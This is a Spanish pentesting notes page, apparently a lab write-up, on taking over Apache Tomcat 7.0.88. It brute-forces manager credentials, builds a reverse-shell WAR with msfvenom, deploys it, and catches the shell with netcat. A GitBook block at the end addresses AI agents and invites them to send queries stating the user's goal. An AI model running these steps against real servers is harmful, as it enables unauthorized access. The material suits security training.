> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/tomcat-cms-exploitation/tomcat-.war-file.md).
# Archivo WAR de Tomcat
Notas de fuerza bruta de credenciales débiles en el manager de Tomcat, generación de payload WAR, despliegue y shell inversa.
El puerto 8080 aloja **Apache Tomcat**. `whatweb` identifica la versión **7.0.88**, que se sabe que es vulnerable.
### Fuga de información
**Inicio de sesión del panel de administración**
Intenta acceder a `/manager/html` con credenciales predeterminadas como `admin:admin`, pero falla.
{% embed url="" %}
**Ataque de fuerza bruta de credenciales**
Usa la lista SecLists `tomcat-betterdefaultpasslist.txt` para realizar fuerza bruta sobre las credenciales:
Usa un script de Python para automatizar esta tarea:
```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```
**Resultado:** Las credenciales válidas son:/ `tomcat:s3cret`
### Vulnerabilidad de Tomcat:
**1. Generación del archivo WAR:**/ Usar `msfvenom` para crear un archivo WAR que contenga una reverse shell:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```
**2. Despliegue a través de Tomcat Manager:**/ Sube el archivo WAR a través de `/manager/html`.
**3. Oyente de reverse shell:**/ Configura un oyente para capturar la conexión inversa:
```bash
rlwrap nc -nlvp 443
```
Al ejecutar el archivo desplegado (`/reverse`) proporciona una shell interactiva en el objetivo.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/cms/tomcat-cms-exploitation/tomcat-.war-file.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)